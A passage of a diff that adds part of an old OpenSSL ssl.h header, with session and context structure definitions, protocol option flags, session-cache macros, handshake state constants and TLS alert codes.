CRYPTO_EX_DATA ex_data; /* application specific data */ + + /* These are used to make removal of session-ids more + * efficient and to implement a maximum cache size. */ + struct ssl_session_st *prev,*next; +#ifndef OPENSSL_NO_TLSEXT + char *tlsext_hostname; + /* RFC4507 info */ + unsigned char *tlsext_tick; /* Session ticket */ + size_t tlsext_ticklen; /* Session ticket length */ + long tlsext_tick_lifetime_hint; /* Session lifetime hint in seconds */ +#endif + } SSL_SESSION; + + +#define SSL_OP_MICROSOFT_SESS_ID_BUG 0x00000001L +#define SSL_OP_NETSCAPE_CHALLENGE_BUG 0x00000002L +#define SSL_OP_NETSCAPE_REUSE_CIPHER_CHANGE_BUG 0x00000008L +#define SSL_OP_SSLREF2_REUSE_CERT_TYPE_BUG 0x00000010L +#define SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER 0x00000020L +#define SSL_OP_MSIE_SSLV2_RSA_PADDING 0x00000040L /* no effect since 0.9.7h and 0.9.8b */ +#define SSL_OP_SSLEAY_080_CLIENT_DH_BUG 0x00000080L +#define SSL_OP_TLS_D5_BUG 0x00000100L +#define SSL_OP_TLS_BLOCK_PADDING_BUG 0x00000200L + +/* Disable SSL 3.0/TLS 1.0 CBC vulnerability workaround that was added + * in OpenSSL 0.9.6d. Usually (depending on the application protocol) + * the workaround is not needed. Unfortunately some broken SSL/TLS + * implementations cannot handle it at all, which is why we include + * it in SSL_OP_ALL. */ +#define SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS 0x00000800L /* added in 0.9.6e */ + +/* SSL_OP_ALL: various bug workarounds that should be rather harmless. + * This used to be 0x000FFFFFL before 0.9.7. */ +#define SSL_OP_ALL 0x00000FFFL + +/* DTLS options */ +#define SSL_OP_NO_QUERY_MTU 0x00001000L +/* Turn on Cookie Exchange (on relevant for servers) */ +#define SSL_OP_COOKIE_EXCHANGE 0x00002000L +/* Don't use RFC4507 ticket extension */ +#define SSL_OP_NO_TICKET 0x00004000L + +/* As server, disallow session resumption on renegotiation */ +#define SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION 0x00010000L +/* If set, always create a new key when using tmp_ecdh parameters */ +#define SSL_OP_SINGLE_ECDH_USE 0x00080000L +/* If set, always create a new key when using tmp_dh parameters */ +#define SSL_OP_SINGLE_DH_USE 0x00100000L +/* Set to always use the tmp_rsa key when doing RSA operations, + * even when this violates protocol specs */ +#define SSL_OP_EPHEMERAL_RSA 0x00200000L +/* Set on servers to choose the cipher according to the server's + * preferences */ +#define SSL_OP_CIPHER_SERVER_PREFERENCE 0x00400000L +/* If set, a server will allow a client to issue a SSLv3.0 version number + * as latest version supported in the premaster secret, even when TLSv1.0 + * (version 3.1) was announced in the client hello. Normally this is + * forbidden to prevent version rollback attacks. */ +#define SSL_OP_TLS_ROLLBACK_BUG 0x00800000L + +#define SSL_OP_NO_SSLv2 0x01000000L +#define SSL_OP_NO_SSLv3 0x02000000L +#define SSL_OP_NO_TLSv1 0x04000000L + +/* The next flag deliberately changes the ciphertest, this is a check + * for the PKCS#1 attack */ +#define SSL_OP_PKCS1_CHECK_1 0x08000000L +#define SSL_OP_PKCS1_CHECK_2 0x10000000L +#define SSL_OP_NETSCAPE_CA_DN_BUG 0x20000000L +#define SSL_OP_NETSCAPE_DEMO_CIPHER_CHANGE_BUG 0x40000000L + + +/* Allow SSL_write(..., n) to return r with 0 < r < n (i.e. report success + * when just a single record has been written): */ +#define SSL_MODE_ENABLE_PARTIAL_WRITE 0x00000001L +/* Make it possible to retry SSL_write() with changed buffer location + * (buffer contents must stay the same!); this is not the default to avoid + * the misconception that non-blocking SSL_write() behaves like + * non-blocking write(): */ +#define SSL_MODE_ACCEPT_MOVING_WRITE_BUFFER 0x00000002L +/* Never bother the application with retries if the transport + * is blocking: */ +#define SSL_MODE_AUTO_RETRY 0x00000004L +/* Don't attempt to automatically build certificate chain */ +#define SSL_MODE_NO_AUTO_CHAIN 0x00000008L + + +/* Note: SSL[_CTX]_set_{options,mode} use |= op on the previous value, + * they cannot be used to clear bits. */ + +#define SSL_CTX_set_options(ctx,op) \ + SSL_CTX_ctrl((ctx),SSL_CTRL_OPTIONS,(op),NULL) +#define SSL_CTX_get_options(ctx) \ + SSL_CTX_ctrl((ctx),SSL_CTRL_OPTIONS,0,NULL) +#define SSL_set_options(ssl,op) \ + SSL_ctrl((ssl),SSL_CTRL_OPTIONS,(op),NULL) +#define SSL_get_options(ssl) \ + SSL_ctrl((ssl),SSL_CTRL_OPTIONS,0,NULL) + +#define SSL_CTX_set_mode(ctx,op) \ + SSL_CTX_ctrl((ctx),SSL_CTRL_MODE,(op),NULL) +#define SSL_CTX_get_mode(ctx) \ + SSL_CTX_ctrl((ctx),SSL_CTRL_MODE,0,NULL) +#define SSL_set_mode(ssl,op) \ + SSL_ctrl((ssl),SSL_CTRL_MODE,(op),NULL) +#define SSL_get_mode(ssl) \ + SSL_ctrl((ssl),SSL_CTRL_MODE,0,NULL) +#define SSL_set_mtu(ssl, mtu) \ + SSL_ctrl((ssl),SSL_CTRL_SET_MTU,(mtu),NULL) + + +void SSL_CTX_set_msg_callback(SSL_CTX *ctx, void (*cb)(int write_p, int version, int content_type, const void *buf, size_t len, SSL *ssl, void *arg)); +void SSL_set_msg_callback(SSL *ssl, void (*cb)(int write_p, int version, int content_type, const void *buf, size_t len, SSL *ssl, void *arg)); +#define SSL_CTX_set_msg_callback_arg(ctx, arg) SSL_CTX_ctrl((ctx), SSL_CTRL_SET_MSG_CALLBACK_ARG, 0, (arg)) +#define SSL_set_msg_callback_arg(ssl, arg) SSL_ctrl((ssl), SSL_CTRL_SET_MSG_CALLBACK_ARG, 0, (arg)) + + + +#if defined(OPENSSL_SYS_MSDOS) && !defined(OPENSSL_SYS_WIN32) +#define SSL_MAX_CERT_LIST_DEFAULT 1024*30 /* 30k max cert list :-) */ +#else +#define SSL_MAX_CERT_LIST_DEFAULT 1024*100 /* 100k max cert list :-) */ +#endif + +#define SSL_SESSION_CACHE_MAX_SIZE_DEFAULT (1024*20) + +/* This callback type is used inside SSL_CTX, SSL, and in the functions that set + * them. It is used to override the generation of SSL/TLS session IDs in a + * server. Return value should be zero on an error, non-zero to proceed. Also, + * callbacks should themselves check if the id they generate is unique otherwise + * the SSL handshake will fail with an error - callbacks can do this using the + * 'ssl' value they're passed by; + * SSL_has_matching_session_id(ssl, id, *id_len) + * The length value passed in is set at the maximum size the session ID can be. + * In SSLv2 this is 16 bytes, whereas SSLv3/TLSv1 it is 32 bytes. The callback + * can alter this length to be less if desired, but under SSLv2 session IDs are + * supposed to be fixed at 16 bytes so the id will be padded after the callback + * returns in this case. It is also an error for the callback to set the size to + * zero. */ +typedef int (*GEN_SESSION_CB)(const SSL *ssl, unsigned char *id, + unsigned int *id_len); + +typedef struct ssl_comp_st + { + int id; + const char *name; +#ifndef OPENSSL_NO_COMP + COMP_METHOD *method; +#else + char *method; +#endif + } SSL_COMP; + +DECLARE_STACK_OF(SSL_COMP) + +struct ssl_ctx_st + { + SSL_METHOD *method; + + STACK_OF(SSL_CIPHER) *cipher_list; + /* same as above but sorted for lookup */ + STACK_OF(SSL_CIPHER) *cipher_list_by_id; + + struct x509_store_st /* X509_STORE */ *cert_store; + struct lhash_st /* LHASH */ *sessions; /* a set of SSL_SESSIONs */ + /* Most session-ids that will be cached, default is + * SSL_SESSION_CACHE_MAX_SIZE_DEFAULT. 0 is unlimited. */ + unsigned long session_cache_size; + struct ssl_session_st *session_cache_head; + struct ssl_session_st *session_cache_tail; + + /* This can have one of 2 values, ored together, + * SSL_SESS_CACHE_CLIENT, + * SSL_SESS_CACHE_SERVER, + * Default is SSL_SESSION_CACHE_SERVER, which means only + * SSL_accept which cache SSL_SESSIONS. */ + int session_cache_mode; + + /* If timeout is not 0, it is the default timeout value set + * when SSL_new() is called. This has been put in to make + * life easier to set things up */ + long session_timeout; + + /* If this callback is not null, it will be called each + * time a session id is added to the cache. If this function + * returns 1, it means that the callback will do a + * SSL_SESSION_free() when it has finished using it. Otherwise, + * on 0, it means the callback has finished with it. + * If remove_session_cb is not null, it will be called when + * a session-id is removed from the cache. After the call, + * OpenSSL will SSL_SESSION_free() it. */ + int (*new_session_cb)(struct ssl_st *ssl,SSL_SESSION *sess); + void (*remove_session_cb)(struct ssl_ctx_st *ctx,SSL_SESSION *sess); + SSL_SESSION *(*get_session_cb)(struct ssl_st *ssl, + unsigned char *data,int len,int *copy); + + struct + { + int sess_connect; /* SSL new conn - started */ + int sess_connect_renegotiate;/* SSL reneg - requested */ + int sess_connect_good; /* SSL new conne/reneg - finished */ + int sess_accept; /* SSL new accept - started */ + int sess_accept_renegotiate;/* SSL reneg - requested */ + int sess_accept_good; /* SSL accept/reneg - finished */ + int sess_miss; /* session lookup misses */ + int sess_timeout; /* reuse attempt on timeouted session */ + int sess_cache_full; /* session removed due to full cache */ + int sess_hit; /* session reuse actually done */ + int sess_cb_hit; /* session-id that was not + * in the cache was + * passed back via the callback. This + * indicates that the application is + * supplying session-id's from other + * processes - spooky :-) */ + } stats; + + int references; + + /* if defined, these override the X509_verify_cert() calls */ + int (*app_verify_callback)(X509_STORE_CTX *, void *); + void *app_verify_arg; + /* before OpenSSL 0.9.7, 'app_verify_arg' was ignored + * ('app_verify_callback' was called with just one argument) */ + + /* Default password callback. */ + pem_password_cb *default_passwd_callback; + + /* Default password callback user data. */ + void *default_passwd_callback_userdata; + + /* get client cert callback */ + int (*client_cert_cb)(SSL *ssl, X509 **x509, EVP_PKEY **pkey); + + /* cookie generate callback */ + int (*app_gen_cookie_cb)(SSL *ssl, unsigned char *cookie, + unsigned int *cookie_len); + + /* verify cookie callback */ + int (*app_verify_cookie_cb)(SSL *ssl, unsigned char *cookie, + unsigned int cookie_len); + + CRYPTO_EX_DATA ex_data; + + const EVP_MD *rsa_md5;/* For SSLv2 - name is 'ssl2-md5' */ + const EVP_MD *md5; /* For SSLv3/TLSv1 'ssl3-md5' */ + const EVP_MD *sha1; /* For SSLv3/TLSv1 'ssl3->sha1' */ + + STACK_OF(X509) *extra_certs; + STACK_OF(SSL_COMP) *comp_methods; /* stack of SSL_COMP, SSLv3/TLSv1 */ + + + /* Default values used when no per-SSL value is defined follow */ + + void (*info_callback)(const SSL *ssl,int type,int val); /* used if SSL's info_callback is NULL */ + + /* what we put in client cert requests */ + STACK_OF(X509_NAME) *client_CA; + + + /* Default values to use in SSL structures follow (these are copied by SSL_new) */ + + unsigned long options; + unsigned long mode; + long max_cert_list; + + struct cert_st /* CERT */ *cert; + int read_ahead; + + /* callback that allows applications to peek at protocol messages */ + void (*msg_callback)(int write_p, int version, int content_type, const void *buf, size_t len, SSL *ssl, void *arg); + void *msg_callback_arg; + + int verify_mode; + unsigned int sid_ctx_length; + unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH]; + int (*default_verify_callback)(int ok,X509_STORE_CTX *ctx); /* called 'verify_callback' in the SSL */ + + /* Default generate session ID callback. */ + GEN_SESSION_CB generate_session_id; + + X509_VERIFY_PARAM *param; + +#if 0 + int purpose; /* Purpose setting */ + int trust; /* Trust setting */ +#endif + + int quiet_shutdown; + +#ifndef OPENSSL_ENGINE + /* Engine to pass requests for client certs to + */ + ENGINE *client_cert_engine; +#endif + +#ifndef OPENSSL_NO_TLSEXT + /* TLS extensions servername callback */ + int (*tlsext_servername_callback)(SSL*, int *, void *); + void *tlsext_servername_arg; + /* RFC 4507 session ticket keys */ + unsigned char tlsext_tick_key_name[16]; + unsigned char tlsext_tick_hmac_key[16]; + unsigned char tlsext_tick_aes_key[16]; + /* Callback to support customisation of ticket key setting */ + int (*tlsext_ticket_key_cb)(SSL *ssl, + unsigned char *name, unsigned char *iv, + EVP_CIPHER_CTX *ectx, + HMAC_CTX *hctx, int enc); + + /* certificate status request info */ + /* Callback for status request */ + int (*tlsext_status_cb)(SSL *ssl, void *arg); + void *tlsext_status_arg; +#endif + + }; + +#define SSL_SESS_CACHE_OFF 0x0000 +#define SSL_SESS_CACHE_CLIENT 0x0001 +#define SSL_SESS_CACHE_SERVER 0x0002 +#define SSL_SESS_CACHE_BOTH (SSL_SESS_CACHE_CLIENT|SSL_SESS_CACHE_SERVER) +#define SSL_SESS_CACHE_NO_AUTO_CLEAR 0x0080 +/* enough comments already ... see SSL_CTX_set_session_cache_mode(3) */ +#define SSL_SESS_CACHE_NO_INTERNAL_LOOKUP 0x0100 +#define SSL_SESS_CACHE_NO_INTERNAL_STORE 0x0200 +#define SSL_SESS_CACHE_NO_INTERNAL \ + (SSL_SESS_CACHE_NO_INTERNAL_LOOKUP|SSL_SESS_CACHE_NO_INTERNAL_STORE) + + struct lhash_st *SSL_CTX_sessions(SSL_CTX *ctx); +#define SSL_CTX_sess_number(ctx) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SESS_NUMBER,0,NULL) +#define SSL_CTX_sess_connect(ctx) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SESS_CONNECT,0,NULL) +#define SSL_CTX_sess_connect_good(ctx) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SESS_CONNECT_GOOD,0,NULL) +#define SSL_CTX_sess_connect_renegotiate(ctx) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SESS_CONNECT_RENEGOTIATE,0,NULL) +#define SSL_CTX_sess_accept(ctx) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SESS_ACCEPT,0,NULL) +#define SSL_CTX_sess_accept_renegotiate(ctx) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SESS_ACCEPT_RENEGOTIATE,0,NULL) +#define SSL_CTX_sess_accept_good(ctx) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SESS_ACCEPT_GOOD,0,NULL) +#define SSL_CTX_sess_hits(ctx) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SESS_HIT,0,NULL) +#define SSL_CTX_sess_cb_hits(ctx) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SESS_CB_HIT,0,NULL) +#define SSL_CTX_sess_misses(ctx) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SESS_MISSES,0,NULL) +#define SSL_CTX_sess_timeouts(ctx) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SESS_TIMEOUTS,0,NULL) +#define SSL_CTX_sess_cache_full(ctx) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SESS_CACHE_FULL,0,NULL) + +void SSL_CTX_sess_set_new_cb(SSL_CTX *ctx, int (*new_session_cb)(struct ssl_st *ssl,SSL_SESSION *sess)); +int (*SSL_CTX_sess_get_new_cb(SSL_CTX *ctx))(struct ssl_st *ssl, SSL_SESSION *sess); +void SSL_CTX_sess_set_remove_cb(SSL_CTX *ctx, void (*remove_session_cb)(struct ssl_ctx_st *ctx,SSL_SESSION *sess)); +void (*SSL_CTX_sess_get_remove_cb(SSL_CTX *ctx))(struct ssl_ctx_st *ctx, SSL_SESSION *sess); +void SSL_CTX_sess_set_get_cb(SSL_CTX *ctx, SSL_SESSION *(*get_session_cb)(struct ssl_st *ssl, unsigned char *data,int len,int *copy)); +SSL_SESSION *(*SSL_CTX_sess_get_get_cb(SSL_CTX *ctx))(struct ssl_st *ssl, unsigned char *Data, int len, int *copy); +void SSL_CTX_set_info_callback(SSL_CTX *ctx, void (*cb)(const SSL *ssl,int type,int val)); +void (*SSL_CTX_get_info_callback(SSL_CTX *ctx))(const SSL *ssl,int type,int val); +void SSL_CTX_set_client_cert_cb(SSL_CTX *ctx, int (*client_cert_cb)(SSL *ssl, X509 **x509, EVP_PKEY **pkey)); +int (*SSL_CTX_get_client_cert_cb(SSL_CTX *ctx))(SSL *ssl, X509 **x509, EVP_PKEY **pkey); +#ifndef OPENSSL_NO_ENGINE +int SSL_CTX_set_client_cert_engine(SSL_CTX *ctx, ENGINE *e); +#endif +void SSL_CTX_set_cookie_generate_cb(SSL_CTX *ctx, int (*app_gen_cookie_cb)(SSL *ssl, unsigned char *cookie, unsigned int *cookie_len)); +void SSL_CTX_set_cookie_verify_cb(SSL_CTX *ctx, int (*app_verify_cookie_cb)(SSL *ssl, unsigned char *cookie, unsigned int cookie_len)); + +#define SSL_NOTHING 1 +#define SSL_WRITING 2 +#define SSL_READING 3 +#define SSL_X509_LOOKUP 4 + +/* These will only be used when doing non-blocking IO */ +#define SSL_want_nothing(s) (SSL_want(s) == SSL_NOTHING) +#define SSL_want_read(s) (SSL_want(s) == SSL_READING) +#define SSL_want_write(s) (SSL_want(s) == SSL_WRITING) +#define SSL_want_x509_lookup(s) (SSL_want(s) == SSL_X509_LOOKUP) + +struct ssl_st + { + /* protocol version + * (one of SSL2_VERSION, SSL3_VERSION, TLS1_VERSION, DTLS1_VERSION) + */ + int version; + int type; /* SSL_ST_CONNECT or SSL_ST_ACCEPT */ + + SSL_METHOD *method; /* SSLv3 */ + + /* There are 2 BIO's even though they are normally both the + * same. This is so data can be read and written to different + * handlers */ + +#ifndef OPENSSL_NO_BIO + BIO *rbio; /* used by SSL_read */ + BIO *wbio; /* used by SSL_write */ + BIO *bbio; /* used during session-id reuse to concatenate + * messages */ +#else + char *rbio; /* used by SSL_read */ + char *wbio; /* used by SSL_write */ + char *bbio; +#endif + /* This holds a variable that indicates what we were doing + * when a 0 or -1 is returned. This is needed for + * non-blocking IO so we know what request needs re-doing when + * in SSL_accept or SSL_connect */ + int rwstate; + + /* true when we are actually in SSL_accept() or SSL_connect() */ + int in_handshake; + int (*handshake_func)(SSL *); + + /* Imagine that here's a boolean member "init" that is + * switched as soon as SSL_set_{accept/connect}_state + * is called for the first time, so that "state" and + * "handshake_func" are properly initialized. But as + * handshake_func is == 0 until then, we use this + * test instead of an "init" member. + */ + + int server; /* are we the server side? - mostly used by SSL_clear*/ + + int new_session;/* 1 if we are to use a new session. + * 2 if we are a server and are inside a handshake + * (i.e. not just sending a HelloRequest) + * NB: For servers, the 'new' session may actually be a previously + * cached session or even the previous session unless + * SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION is set */ + int quiet_shutdown;/* don't send shutdown packets */ + int shutdown; /* we have shut things down, 0x01 sent, 0x02 + * for received */ + int state; /* where we are */ + int rstate; /* where we are when reading */ + + BUF_MEM *init_buf; /* buffer used during init */ + void *init_msg; /* pointer to handshake message body, set by ssl3_get_message() */ + int init_num; /* amount read/written */ + int init_off; /* amount read/written */ + + /* used internally to point at a raw packet */ + unsigned char *packet; + unsigned int packet_length; + + struct ssl2_state_st *s2; /* SSLv2 variables */ + struct ssl3_state_st *s3; /* SSLv3 variables */ + struct dtls1_state_st *d1; /* DTLSv1 variables */ + + int read_ahead; /* Read as many input bytes as possible + * (for non-blocking reads) */ + + /* callback that allows applications to peek at protocol messages */ + void (*msg_callback)(int write_p, int version, int content_type, const void *buf, size_t len, SSL *ssl, void *arg); + void *msg_callback_arg; + + int hit; /* reusing a previous session */ + + X509_VERIFY_PARAM *param; + +#if 0 + int purpose; /* Purpose setting */ + int trust; /* Trust setting */ +#endif + + /* crypto */ + STACK_OF(SSL_CIPHER) *cipher_list; + STACK_OF(SSL_CIPHER) *cipher_list_by_id; + + /* These are the ones being used, the ones in SSL_SESSION are + * the ones to be 'copied' into these ones */ + + EVP_CIPHER_CTX *enc_read_ctx; /* cryptographic state */ + const EVP_MD *read_hash; /* used for mac generation */ +#ifndef OPENSSL_NO_COMP + COMP_CTX *expand; /* uncompress */ +#else + char *expand; +#endif + + EVP_CIPHER_CTX *enc_write_ctx; /* cryptographic state */ + const EVP_MD *write_hash; /* used for mac generation */ +#ifndef OPENSSL_NO_COMP + COMP_CTX *compress; /* compression */ +#else + char *compress; +#endif + + /* session info */ + + /* client cert? */ + /* This is used to hold the server certificate used */ + struct cert_st /* CERT */ *cert; + + /* the session_id_context is used to ensure sessions are only reused + * in the appropriate context */ + unsigned int sid_ctx_length; + unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH]; + + /* This can also be in the session once a session is established */ + SSL_SESSION *session; + + /* Default generate session ID callback. */ + GEN_SESSION_CB generate_session_id; + + /* Used in SSL2 and SSL3 */ + int verify_mode; /* 0 don't care about verify failure. + * 1 fail if verify fails */ + int (*verify_callback)(int ok,X509_STORE_CTX *ctx); /* fail if callback returns 0 */ + + void (*info_callback)(const SSL *ssl,int type,int val); /* optional informational callback */ + + int error; /* error bytes to be written */ + int error_code; /* actual code */ + +#ifndef OPENSSL_NO_KRB5 + KSSL_CTX *kssl_ctx; /* Kerberos 5 context */ +#endif /* OPENSSL_NO_KRB5 */ + + SSL_CTX *ctx; + /* set this flag to 1 and a sleep(1) is put into all SSL_read() + * and SSL_write() calls, good for nbio debuging :-) */ + int debug; + + /* extra application data */ + long verify_result; + CRYPTO_EX_DATA ex_data; + + /* for server side, keep the list of CA_dn we can use */ + STACK_OF(X509_NAME) *client_CA; + + int references; + unsigned long options; /* protocol behaviour */ + unsigned long mode; /* API behaviour */ + long max_cert_list; + int first_packet; + int client_version; /* what was passed, used for + * SSLv3/TLS rollback check */ +#ifndef OPENSSL_NO_TLSEXT + /* TLS extension debug callback */ + void (*tlsext_debug_cb)(SSL *s, int client_server, int type, + unsigned char *data, int len, + void *arg); + void *tlsext_debug_arg; + char *tlsext_hostname; + int servername_done; /* no further mod of servername + 0 : call the servername extension callback. + 1 : prepare 2, allow last ack just after in server callback. + 2 : don't call servername callback, no ack in server hello + */ + /* certificate status request info */ + /* Status type or -1 if no status type */ + int tlsext_status_type; + /* Expect OCSP CertificateStatus message */ + int tlsext_status_expected; + /* OCSP status request only */ + STACK_OF(OCSP_RESPID) *tlsext_ocsp_ids; + X509_EXTENSIONS *tlsext_ocsp_exts; + /* OCSP response received or to be sent */ + unsigned char *tlsext_ocsp_resp; + int tlsext_ocsp_resplen; + + /* RFC4507 session ticket expected to be received or sent */ + int tlsext_ticket_expected; + SSL_CTX * initial_ctx; /* initial ctx, used to store sessions */ +#define session_ctx initial_ctx +#else +#define session_ctx ctx +#endif + }; + +#ifdef __cplusplus +} +#endif + +#include +#include +#include /* This is mostly sslv3 with a few tweaks */ +#include /* Datagram TLS */ +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* compatibility */ +#define SSL_set_app_data(s,arg) (SSL_set_ex_data(s,0,(char *)arg)) +#define SSL_get_app_data(s) (SSL_get_ex_data(s,0)) +#define SSL_SESSION_set_app_data(s,a) (SSL_SESSION_set_ex_data(s,0,(char *)a)) +#define SSL_SESSION_get_app_data(s) (SSL_SESSION_get_ex_data(s,0)) +#define SSL_CTX_get_app_data(ctx) (SSL_CTX_get_ex_data(ctx,0)) +#define SSL_CTX_set_app_data(ctx,arg) (SSL_CTX_set_ex_data(ctx,0,(char *)arg)) + +/* The following are the possible values for ssl->state are are + * used to indicate where we are up to in the SSL connection establishment. + * The macros that follow are about the only things you should need to use + * and even then, only when using non-blocking IO. + * It can also be useful to work out where you were when the connection + * failed */ + +#define SSL_ST_CONNECT 0x1000 +#define SSL_ST_ACCEPT 0x2000 +#define SSL_ST_MASK 0x0FFF +#define SSL_ST_INIT (SSL_ST_CONNECT|SSL_ST_ACCEPT) +#define SSL_ST_BEFORE 0x4000 +#define SSL_ST_OK 0x03 +#define SSL_ST_RENEGOTIATE (0x04|SSL_ST_INIT) + +#define SSL_CB_LOOP 0x01 +#define SSL_CB_EXIT 0x02 +#define SSL_CB_READ 0x04 +#define SSL_CB_WRITE 0x08 +#define SSL_CB_ALERT 0x4000 /* used in callback */ +#define SSL_CB_READ_ALERT (SSL_CB_ALERT|SSL_CB_READ) +#define SSL_CB_WRITE_ALERT (SSL_CB_ALERT|SSL_CB_WRITE) +#define SSL_CB_ACCEPT_LOOP (SSL_ST_ACCEPT|SSL_CB_LOOP) +#define SSL_CB_ACCEPT_EXIT (SSL_ST_ACCEPT|SSL_CB_EXIT) +#define SSL_CB_CONNECT_LOOP (SSL_ST_CONNECT|SSL_CB_LOOP) +#define SSL_CB_CONNECT_EXIT (SSL_ST_CONNECT|SSL_CB_EXIT) +#define SSL_CB_HANDSHAKE_START 0x10 +#define SSL_CB_HANDSHAKE_DONE 0x20 + +/* Is the SSL_connection established? */ +#define SSL_get_state(a) SSL_state(a) +#define SSL_is_init_finished(a) (SSL_state(a) == SSL_ST_OK) +#define SSL_in_init(a) (SSL_state(a)&SSL_ST_INIT) +#define SSL_in_before(a) (SSL_state(a)&SSL_ST_BEFORE) +#define SSL_in_connect_init(a) (SSL_state(a)&SSL_ST_CONNECT) +#define SSL_in_accept_init(a) (SSL_state(a)&SSL_ST_ACCEPT) + +/* The following 2 states are kept in ssl->rstate when reads fail, + * you should not need these */ +#define SSL_ST_READ_HEADER 0xF0 +#define SSL_ST_READ_BODY 0xF1 +#define SSL_ST_READ_DONE 0xF2 + +/* Obtain latest Finished message + * -- that we sent (SSL_get_finished) + * -- that we expected from peer (SSL_get_peer_finished). + * Returns length (0 == no Finished so far), copies up to 'count' bytes. */ +size_t SSL_get_finished(const SSL *s, void *buf, size_t count); +size_t SSL_get_peer_finished(const SSL *s, void *buf, size_t count); + +/* use either SSL_VERIFY_NONE or SSL_VERIFY_PEER, the last 2 options + * are 'ored' with SSL_VERIFY_PEER if they are desired */ +#define SSL_VERIFY_NONE 0x00 +#define SSL_VERIFY_PEER 0x01 +#define SSL_VERIFY_FAIL_IF_NO_PEER_CERT 0x02 +#define SSL_VERIFY_CLIENT_ONCE 0x04 + +#define OpenSSL_add_ssl_algorithms() SSL_library_init() +#define SSLeay_add_ssl_algorithms() SSL_library_init() + +/* this is for backward compatibility */ +#if 0 /* NEW_SSLEAY */ +#define SSL_CTX_set_default_verify(a,b,c) SSL_CTX_set_verify(a,b,c) +#define SSL_set_pref_cipher(c,n) SSL_set_cipher_list(c,n) +#define SSL_add_session(a,b) SSL_CTX_add_session((a),(b)) +#define SSL_remove_session(a,b) SSL_CTX_remove_session((a),(b)) +#define SSL_flush_sessions(a,b) SSL_CTX_flush_sessions((a),(b)) +#endif +/* More backward compatibility */ +#define SSL_get_cipher(s) \ + SSL_CIPHER_get_name(SSL_get_current_cipher(s)) +#define SSL_get_cipher_bits(s,np) \ + SSL_CIPHER_get_bits(SSL_get_current_cipher(s),np) +#define SSL_get_cipher_version(s) \ + SSL_CIPHER_get_version(SSL_get_current_cipher(s)) +#define SSL_get_cipher_name(s) \ + SSL_CIPHER_get_name(SSL_get_current_cipher(s)) +#define SSL_get_time(a) SSL_SESSION_get_time(a) +#define SSL_set_time(a,b) SSL_SESSION_set_time((a),(b)) +#define SSL_get_timeout(a) SSL_SESSION_get_timeout(a) +#define SSL_set_timeout(a,b) SSL_SESSION_set_timeout((a),(b)) + +#if 1 /*SSLEAY_MACROS*/ +#define d2i_SSL_SESSION_bio(bp,s_id) ASN1_d2i_bio_of(SSL_SESSION,SSL_SESSION_new,d2i_SSL_SESSION,bp,s_id) +#define i2d_SSL_SESSION_bio(bp,s_id) ASN1_i2d_bio_of(SSL_SESSION,i2d_SSL_SESSION,bp,s_id) +#define PEM_read_SSL_SESSION(fp,x,cb,u) (SSL_SESSION *)PEM_ASN1_read( \ + (char *(*)())d2i_SSL_SESSION,PEM_STRING_SSL_SESSION,fp,(char **)x,cb,u) +#define PEM_read_bio_SSL_SESSION(bp,x,cb,u) PEM_ASN1_read_bio_of(SSL_SESSION,d2i_SSL_SESSION,PEM_STRING_SSL_SESSION,bp,x,cb,u) +#define PEM_write_SSL_SESSION(fp,x) \ + PEM_ASN1_write((int (*)())i2d_SSL_SESSION, \ + PEM_STRING_SSL_SESSION,fp, (char *)x, NULL,NULL,0,NULL,NULL) +#define PEM_write_bio_SSL_SESSION(bp,x) \ + PEM_ASN1_write_bio_of(SSL_SESSION,i2d_SSL_SESSION,PEM_STRING_SSL_SESSION,bp,x,NULL,NULL,0,NULL,NULL) +#endif + +#define SSL_AD_REASON_OFFSET 1000 +/* These alert types are for SSLv3 and TLSv1 */ +#define SSL_AD_CLOSE_NOTIFY SSL3_AD_CLOSE_NOTIFY +#define SSL_AD_UNEXPECTED_MESSAGE SSL3_AD_UNEXPECTED_MESSAGE /* fatal */ +#define SSL_AD_BAD_RECORD_MAC SSL3_AD_BAD_RECORD_MAC /* fatal */ +#define SSL_AD_DECRYPTION_FAILED TLS1_AD_DECRYPTION_FAILED +#define SSL_AD_RECORD_OVERFLOW TLS1_AD_RECORD_OVERFLOW +#define SSL_AD_DECOMPRESSION_FAILURE SSL3_AD_DECOMPRESSION_FAILURE/* fatal */ +#define SSL_AD_HANDSHAKE_FAILURE SSL3_AD_HANDSHAKE_FAILURE/* fatal */ +#define SSL_AD_NO_CERTIFICATE SSL3_AD_NO_CERTIFICATE /* Not for TLS */ +#define SSL_AD_BAD_CERTIFICATE SSL3_AD_BAD_CERTIFICATE +#define SSL_AD_UNSUPPORTED_CERTIFICATE SSL3_AD_UNSUPPORTED_CERTIFICATE +#define SSL_AD_CERTIFICATE_REVOKED SSL3_AD_CERTIFICATE_REVOKED +#define SSL_AD_CERTIFICATE_EXPIRED SSL3_AD_CERTIFICATE_EXPIRED +#define SSL_AD_CERTIFICATE_UNKNOWN SSL3_AD_CERTIFICATE_UNKNOWN +#define SSL_AD_ILLEGAL_PARAMETER SSL3_AD_ILLEGAL_PARAMETER /* fatal */ +#define SSL_AD_UNKNOWN_CA TLS1_AD_UNKNOWN_CA /* fatal */ +#define SSL_AD_ACCESS_DENIED TLS1_AD_ACCESS_DENIED /* fatal */ +#define SSL_AD_DECODE_ERROR TLS1_AD_DECODE_ERROR /* fatal */ +#define SSL_AD_DECRYPT_ERROR TLS1_AD_DECRYPT_ERROR +#define SSL_AD_EXPORT_RESTRICTION TLS1_AD_EXPORT_RESTRICTION/* fatal */ +#define SSL_AD_PROTOCOL_VERSION TLS1_AD_PROTOCOL_VERSION /* fatal */ +#define 